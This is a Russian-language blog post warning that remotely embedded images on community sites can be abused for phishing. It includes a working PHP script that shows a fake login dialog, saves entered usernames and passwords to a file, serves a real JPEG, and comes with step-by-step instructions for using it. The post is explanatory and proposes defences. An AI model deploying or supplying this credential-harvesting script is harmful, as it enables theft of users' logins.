Злые фишинг картинки

в 14:00, , рубрики: Безопастность, защита сайта, информационная безопасность, пароли, метки: , ,
Правильно люди говорят: «Все новое — это хорошо забытое старое»

Возможность встраивания удалённых ресурсов (например картинок с других сайтов) на страницу своего сайта — очень плохая практика. Которая может в определённый момент привести к довольно серьёзным последствиям для сайта. Еще 10 лет назад, я с удивлением читал о том, что такое возможно. И вот прошло 10 лет, ничего не изменилось, и похоже на то, что это вряд ли когда то изменится.

Детали под катом

Теория и практика

1. Хакер злой пользователь регистрирует себе домен похожий по написанию на атакуемый домен.
2. Загружает на него скрипт c таким содержимым на PHP

<?php 
if (!isset($_SERVER['PHP_AUTH_USER'])) { 
    //header('Content-Type: text/html; charset=windows-1251'); 
    //header('WWW-Authenticate: Basic realm="Vulnsite.com DDoS-Filter: Enter your Login and Password"'); 
    //header('HTTP/1.0 401 Unauthorized'); 
} else { 
    $f = fopen('passes.txt', 'a'); 
    fwrite($f, $_SERVER['PHP_AUTH_USER'].';'.$_SERVER['PHP_AUTH_PW']."rn");  
    fclose($f); 
} 
header("Content-type: image/jpeg"); 
$image = imagecreatefromjpeg('image.jpg'); 
imagejpeg($image); 
imagedestroy($image); 
exit(); 

//Соответственно в этой же папке лежит нормальная image.jpg
//Тут же можно поиграться с расширением скрипта и обозвать его superphoto.jpg .
?>

3. Пишет статью, и встраивает картинку в пост

<img src="http://exEmple.com/evilimage.php" alt="image"/>

4. Если присутствует модерация на сайте, то отправляет статью на модерацию.
5. К примеру статья получилась у него хорошая и она попадает на главную.
6. Злой человек видит своё детище на главной и убирает комментарии в PHP коде, таким образом в ответ на запрос картинки из поста, у любого пользователя в браузере появляется окно с авторизацией, где может быть написано все что угодно, к примеру что сайт отбивается от ДДос атаки, и просит повторить ввод логина и пароля.
7. Не внимательный пользователь, не вчитывается в название домена в форме авторизации и субмитит логин и пароль.
8. Злой человек получает ваш логин и пароль, его цель достигнута.

Способы защиты

Думаю вменяемых методов может быть два:

  • На уровне браузеров: запрет на выдачу окна авторизации от другого сайта
  • На уровне разработчиков сайтов: Копирование всех удалённых ресурсов к себе на хостинг

P.S.

Habrahabr.ru тут не исключение у него на главной присутствуют посты, с картинками с других ресурсов. Так что просто стоит держать в уме этот трюк и всегда проверять до буквы имя домена требующего авторизацию.

А так же всегда есть потенциальная опасность того что пока картинка находится на главной, сайт с которого тянется эта картинка, может быть взломан только ради того чтобы заменить картинку на скрипт.

P.P.S.

Я не считаю это багом.
Это не более чем трюк, который официально позволяется протоколом HTTP.

Автор: boodda

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js